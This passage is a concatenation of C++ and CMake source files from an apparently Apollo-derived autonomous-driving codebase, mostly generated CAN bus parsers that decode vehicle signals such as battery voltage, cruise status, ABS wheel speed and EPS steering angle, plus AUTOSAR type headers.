t0.get_byte(1, 1); Gw_vcu_hmi_0x358_358::PackheatstatusType ret = static_cast<Gw_vcu_hmi_0x358_358::PackheatstatusType>(x); return ret; } // config detail: {'name': 'packcoolingcircuiterror', 'enum': {0: 'PACKCOOLINGCIRCUITERROR_NORMAL', 1: 'PACKCOOLINGCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackcoolingcircuiterrorType Gwvcuhmi0x358358::packcoolingcircuiterror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 1); Gw_vcu_hmi_0x358_358::PackcoolingcircuiterrorType ret = static_cast<Gw_vcu_hmi_0x358_358::PackcoolingcircuiterrorType>(x); return ret; } // config detail: {'name': 'motorcoolingcircuiterror', 'enum': {0: 'MOTORCOOLINGCIRCUITERROR_NORMAL', 1: 'MOTORCOOLINGCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::MotorcoolingcircuiterrorType Gwvcuhmi0x358358::motorcoolingcircuiterror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(3, 1); Gw_vcu_hmi_0x358_358::MotorcoolingcircuiterrorType ret = static_cast<Gw_vcu_hmi_0x358_358::MotorcoolingcircuiterrorType>(x); return ret; } // config detail: {'name': 'vcu_batteryvoltageerror', 'enum': {0: 'VCU_BATTERYVOLTAGEERROR_NO_WARNING', 1: 'VCU_BATTERYVOLTAGEERROR_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_batteryvoltageerrorType Gwvcuhmi0x358358::vcu_batteryvoltageerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 1); Gw_vcu_hmi_0x358_358::Vcu_batteryvoltageerrorType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_batteryvoltageerrorType>(x); return ret; } // config detail: {'name': 'vcu_battervoltage', 'offset': 0.0, 'precision': 0.07, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|17.78]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'V'} double Gwvcuhmi0x358358::vcu_battervoltage(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); double ret = x * 0.070000; return ret; } // config detail: {'name': 'vcu_targcruisespeed', 'offset': 0.0, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Km/h'} double Gwvcuhmi0x358358::vcu_targcruisespeed(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 5); int32_t t = t1.get_byte(7, 1); x <<= 1; x |= t; double ret = x * 0.500000; return ret; } // config detail: {'name': 'vcu_cruisecontrolstatus', 'enum': {0: 'VCU_CRUISECONTROLSTATUS_CRUISECONTROLOOFF', 1: 'VCU_CRUISECONTROLSTATUS_ACTIVE', 2: 'VCU_CRUISECONTROLSTATUS_STANDBY', 3: 'VCU_CRUISECONTROLSTATUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 46, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_cruisecontrolstatusType Gwvcuhmi0x358358::vcu_cruisecontrolstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(5, 2); Gw_vcu_hmi_0x358_358::Vcu_cruisecontrolstatusType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_cruisecontrolstatusType>(x); return ret; } // config detail: {'name': 'vcu_driverstatus_sts', 'enum': {0: 'VCU_DRIVERSTATUS_STS_NO_DRIVE', 1: 'VCU_DRIVERSTATUS_STS_DRIVE_MODE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_driverstatus_stsType Gwvcuhmi0x358358::vcu_driverstatus_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Gw_vcu_hmi_0x358_358::Vcu_driverstatus_stsType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_driverstatus_stsType>(x); return ret; } // config detail: {'name': 'vcu_drivemode_sts', 'enum': {0: 'VCU_DRIVEMODE_STS_INVALID', 1: 'VCU_DRIVEMODE_STS_EV', 2: 'VCU_DRIVEMODE_STS_HEV', 3: 'VCU_DRIVEMODE_STS_FUEL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_drivemode_stsType Gwvcuhmi0x358358::vcu_drivemode_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(1, 2); Gw_vcu_hmi_0x358_358::Vcu_drivemode_stsType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_drivemode_stsType>(x); return ret; } // config detail: {'name': 'vcu_vehchg_sts', 'enum': {0: 'VCU_VEHCHG_STS_INVALID', 1: 'VCU_VEHCHG_STS_STOPCHARGE', 2: 'VCU_VEHCHG_STS_DRIVECHARGE', 3: 'VCU_VEHCHG_STS_NOCHARGE', 4: 'VCU_VEHCHG_STS_CHARGECOMPLETED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_vehchg_stsType Gwvcuhmi0x358358::vcu_vehchg_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(3, 3); Gw_vcu_hmi_0x358_358::Vcu_vehchg_stsType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_vehchg_stsType>(x); return ret; } // config detail: {'name': 'vcu_tbox_veh_sts', 'enum': {0: 'VCU_TBOX_VEH_STS_INVALID', 1: 'VCU_TBOX_VEH_STS_START', 2: 'VCU_TBOX_VEH_STS_OFF', 3: 'VCU_TBOX_VEH_STS_OTHER'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_tbox_veh_stsType Gwvcuhmi0x358358::vcu_tbox_veh_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 2); Gw_vcu_hmi_0x358_358::Vcu_tbox_veh_stsType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_tbox_veh_stsType>(x); return ret; } // config detail: {'name': 'vcu_icm_energyrecoverymode', 'enum': {0: 'VCU_ICM_ENERGYRECOVERYMODE_NO', 1: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL1', 2: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL2', 3: 'VCU_ICM_ENERGYRECOVERYMODE_LEVEL3'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_energyrecoverymodeType Gwvcuhmi0x358358::vcu_icm_energyrecoverymode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(5, 3); Gw_vcu_hmi_0x358_358::Vcu_icm_energyrecoverymodeType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_energyrecoverymodeType>(x); return ret; } // config detail: {'name': 'vcu_icm_vehhvil_err', 'enum': {0: 'VCU_ICM_VEHHVIL_ERR_NORMAL', 1: 'VCU_ICM_VEHHVIL_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_vehhvil_errType Gwvcuhmi0x358358::vcu_icm_vehhvil_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_vehhvil_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_vehhvil_errType>(x); return ret; } // config detail: {'name': 'vcu_icm_mot_err', 'enum': {0: 'VCU_ICM_MOT_ERR_NORMAL', 1: 'VCU_ICM_MOT_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_mot_errType Gwvcuhmi0x358358::vcu_icm_mot_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_mot_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_mot_errType>(x); return ret; } // config detail: {'name': 'vcu_icm_packvoltoff_err', 'enum': {0: 'VCU_ICM_PACKVOLTOFF_ERR_NORMAL', 1: 'VCU_ICM_PACKVOLTOFF_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_packvoltoff_errType Gwvcuhmi0x358358::vcu_icm_packvoltoff_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_packvoltoff_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_packvoltoff_errType>(x); return ret; } // config detail: {'name': 'vcu_icm_chggearlv', 'enum': {0: 'VCU_ICM_CHGGEARLV_NO_WARNING', 1: 'VCU_ICM_CHGGEARLV_PLEASE_SET_GEARPOSITION_TO_PARK'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_chggearlvType Gwvcuhmi0x358358::vcu_icm_chggearlv(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 2); Gw_vcu_hmi_0x358_358::Vcu_icm_chggearlvType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_chggearlvType>(x); return ret; } // config detail: {'name': 'vcu_icm_packsys_err', 'enum': {0: 'VCU_ICM_PACKSYS_ERR_NORMAL', 1: 'VCU_ICM_PACKSYS_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_packsys_errType Gwvcuhmi0x358358::vcu_icm_packsys_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_packsys_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_packsys_errType>(x); return ret; } // config detail: {'name': 'vcu_icm_drvsys_err', 'enum': {0: 'VCU_ICM_DRVSYS_ERR_NORMAL', 1: 'VCU_ICM_DRVSYS_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_drvsys_errType Gwvcuhmi0x358358::vcu_icm_drvsys_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_drvsys_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_drvsys_errType>(x); return ret; } // config detail: {'name': 'vcu_icm_veh_err', 'enum': {0: 'VCU_ICM_VEH_ERR_NORMAL', 1: 'VCU_ICM_VEH_ERR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_veh_errType Gwvcuhmi0x358358::vcu_icm_veh_err(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(7, 1); Gw_vcu_hmi_0x358_358::Vcu_icm_veh_errType ret = static_cast<Gw_vcu_hmi_0x358_358::Vcu_icm_veh_errType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_quaternion_h #define impl_type_quaternion_h #include "impl_type_double.h" struct Quaternion { ::Double qx; ::Double qy; ::Double qz; ::Double qw; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(qx); fun(qy); fun(qz); fun(qw); } template<typename F> void enumerate(F& fun) const { fun(qx); fun(qy); fun(qz); fun(qw); } bool operator == (const ::Quaternion& t) const { return (qx == t.qx) && (qy == t.qy) && (qz == t.qz) && (qw == t.qw); } }; #endif // impl_type_quaternion_h <file_sep>### OLD PROGRAM void LatController::LoadSteerCalibrationTable(const LatControllerConf &lat_controller_conf){ const auto &steer_torque_table = lat_controller_conf.steer_calibration_table() ; AINFO << "Steer_torque calibration table is loaded,the size of calibration is" << steer_torque_table.steer_calibration_size() ; Interpolation2D::DataType xyz ; for (const auto &calibration : steer_torque_table.steer_calibration()){ xyz.push_back(std::make_tuple(calibration.speed(), calibration.angle(), calibration.torque())) ; } steer_torque_interpolation_.reset(new Interpolation2D) ; CHECK(steer_torque_interpolation_->Init(xyz))<<"Fail to init steer_torque_interpolation" ; }<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(prediction_conf_proto prediction_conf.pb.cc prediction_conf.pb.h) target_link_libraries(prediction_conf_proto common_proto perception_proto protobuf) add_library(prediction_proto prediction_obstacle.pb.cc prediction_obstacle.pb.h) target_link_libraries(prediction_proto feature_proto common_proto error_code_proto header_proto pnc_point_proto perception_proto protobuf) add_library(lane_graph_proto lane_graph.pb.cc lane_graph.pb.h) target_link_libraries(lane_graph_proto common_proto pnc_point_proto protobuf) add_library(feature_proto feature.pb.cc feature.pb.h) target_link_libraries(feature_proto common_proto perception_proto lane_graph_proto protobuf) add_library(offline_features_proto offline_features.pb.cc offline_features.pb.h) target_link_libraries(offline_features_proto feature_proto protobuf) add_library(fnn_model_base_proto fnn_model_base.pb.cc fnn_model_base.pb.h) target_link_libraries(fnn_model_base_proto protobuf) add_library(fnn_vehicle_model_proto fnn_vehicle_model.pb.cc fnn_vehicle_model.pb.h) target_link_libraries(fnn_vehicle_model_proto fnn_model_base_proto protobuf) add_library(network_model_proto network_layers.pb.cc network_layers.pb.h network_model.pb.cc network_model.pb.h) target_link_libraries(network_model_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(routing_lib routing.cc routing.h) target_link_libraries(routing_lib common jmc_auto_app adapter_manager status util hdmap_util routing_gflags routing_core graph routing_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_chassisserviceinterface_common_h #define jmc_auto_chassisserviceinterface_common_h #include "ara/com/types.h" #include "ara/core/exception.h" #include "ara/core/error_code.h" #include "ara/core/map.h" namespace jmc_auto { class ChassisServiceInterface { public: constexpr ChassisServiceInterface() = default; constexpr static ara::com::ServiceIdentifierType ServiceIdentifier = ara::com::ServiceIdentifierType("/jmc_auto/Modules/ChassisServiceInterface/ChassisServiceInterface"); constexpr static ara::com::ServiceVersionType ServiceVersion = ara::com::ServiceVersionType("1.1"); }; } // namespace jmc_auto #endif // jmc_auto_impl_type_chassisserviceinterface_common_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_controllertimems_h #define impl_type_controllertimems_h #include "ara/core/vector.h" #include "impl_type_double.h" using ControllerTimeMs = ara::core::Vector<Double>; #endif // impl_type_controllertimems_h <file_sep>#include "modules/canbus/tools/teleop.h" #include "modules/canbus/tools/teleop_gflags.h" #include "modules/common/jmc_auto_app.h" JMC_AUTO_MAIN(jmc_auto::teleop::Teleop); <file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ABS_STS_0X221_221_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ABS_STS_0X221_221_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Abssts0x221221 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Abssts0x221221(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ABS_WhlMilgFrntRi', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int abs_whlmilgfrntri(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_VehSpdLgt', 'offset': 0.0, 'precision': 0.05625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|230.34375]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': 'kph'} double abs_vehspdlgt(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_VehSpdDirection', 'enum': {0: 'ABS_VEHSPDDIRECTION_FORWARD', 1: 'ABS_VEHSPDDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 36, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_vehspddirectionType abs_vehspddirection(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_EbdFlgFlt', 'enum': {0: 'ABS_EBDFLGFLT_NO_FAILURE', 1: 'ABS_EBDFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_ebdflgfltType abs_ebdflgflt(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_AbsFlgFlt', 'enum': {0: 'ABS_ABSFLGFLT_NO_FAILURE', 1: 'ABS_ABSFLGFLT_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_absflgfltType abs_absflgflt(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_AbsCtrlActv', 'enum': {0: 'ABS_ABSCTRLACTV_NOT_ACTIVE', 1: 'ABS_ABSCTRLACTV_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_absctrlactvType abs_absctrlactv(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'RollingCounter_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rollingcounter_0x221(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_WhlMilgFrntLeStatus', 'enum': {0: 'ABS_WHLMILGFRNTLESTATUS_VALID', 1: 'ABS_WHLMILGFRNTLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_whlmilgfrntlestatusType abs_whlmilgfrntlestatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_WhlMilgFrntRiStatus', 'enum': {0: 'ABS_WHLMILGFRNTRISTATUS_VALID', 1: 'ABS_WHLMILGFRNTRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_whlmilgfrntristatusType abs_whlmilgfrntristatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_VehSpdLgtStatus', 'enum': {0: 'ABS_VEHSPDLGTSTATUS_VALID', 1: 'ABS_VEHSPDLGTSTATUS_INVALID', 2: 'ABS_VEHSPDLGTSTATUS_INIT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Abs_sts_0x221_221::Abs_vehspdlgtstatusType abs_vehspdlgtstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x221', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x221(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ABS_WhlMilgFrntLe', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int abs_whlmilgfrntle(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_ABS_STS_0X221_221_H_ <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/eps2_status_0x112_112.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Eps2status0x112112::Eps2status0x112112() {} const int32_t Eps2status0x112112::ID = 0x112; void Eps2status0x112112::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_controlstatus(eps_controlstatus(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_driver_intervene(eps_driver_intervene(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_steerwheelrotspd(eps_steerwheelrotspd(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_steeringwheelang(eps_steeringwheelang(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_torsionbartorque(eps_torsionbartorque(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_sasfailurests(eps_sasfailurests(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_torsionbartorquedir(eps_torsionbartorquedir(bytes, length)); chassis->mutable_teshun()->mutable_eps2_status_0x112_112()->set_eps_torsionbartorquevalid(eps_torsionbartorquevalid(bytes, length)); chassis->mutable_check_response()->set_is_eps_online( eps_controlstatus(bytes, length) == 2|| eps_controlstatus(bytes, length) == 0); } // config detail: {'name': 'eps_controlstatus', 'enum': {0: 'EPS_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'EPS_CONTROLSTATUS_AVAILABLE_FOR_CONTROL', 2: 'EPS_CONTROLSTATUS_ACTIVE', 3: 'EPS_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 62, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_controlstatusType Eps2status0x112112::eps_controlstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(5, 2); Eps2_status_0x112_112::Eps_controlstatusType ret = static_cast<Eps2_status_0x112_112::Eps_controlstatusType>(x); return ret; } // config detail: {'name': 'eps_driver_intervene', 'enum': {0: 'EPS_DRIVER_INTERVENE_NOT_INTERVENE', 1: 'EPS_DRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 56, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_driver_interveneType Eps2status0x112112::eps_driver_intervene(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 1); Eps2_status_0x112_112::Eps_driver_interveneType ret = static_cast<Eps2_status_0x112_112::Eps_driver_interveneType>(x); return ret; } // config detail: {'name': 'eps_steerwheelrotspd', 'offset': 0.0, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|511]', 'bit': 55, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg/s'} int Eps2status0x112112::eps_steerwheelrotspd(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 7); int32_t t = t1.get_byte(7, 1); x <<= 1; x |= t; int ret = x; return ret; } // config detail: {'name': 'eps_steeringwheelang', 'offset': -1000.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'degree'} double Eps2status0x112112::eps_steeringwheelang(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = x * 0.100000 + -1000.000000; return ret; } // config detail: {'name': 'eps_torsionbartorque', 'offset': 0.0, 'precision': 0.01, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|8]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Eps2status0x112112::eps_torsionbartorque(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(6, 2); x <<= 2; x |= t; double ret = x * 0.010000; return ret; } // config detail: {'name': 'eps_sasfailurests', 'enum': {0: 'EPS_SASFAILURESTS_SENSOR_INFORMATION_INVALID__AN_INTERNAL_SENSOR_FAULT_OCCURRED', 1: 'EPS_SASFAILURESTS_SENSOR_INFORMATION_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_sasfailurestsType Eps2status0x112112::eps_sasfailurests(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 1); Eps2_status_0x112_112::Eps_sasfailurestsType ret = static_cast<Eps2_status_0x112_112::Eps_sasfailurestsType>(x); return ret; } // config detail: {'name': 'eps_torsionbartorquedir', 'enum': {0: 'EPS_TORSIONBARTORQUEDIR_POSITIVE', 1: 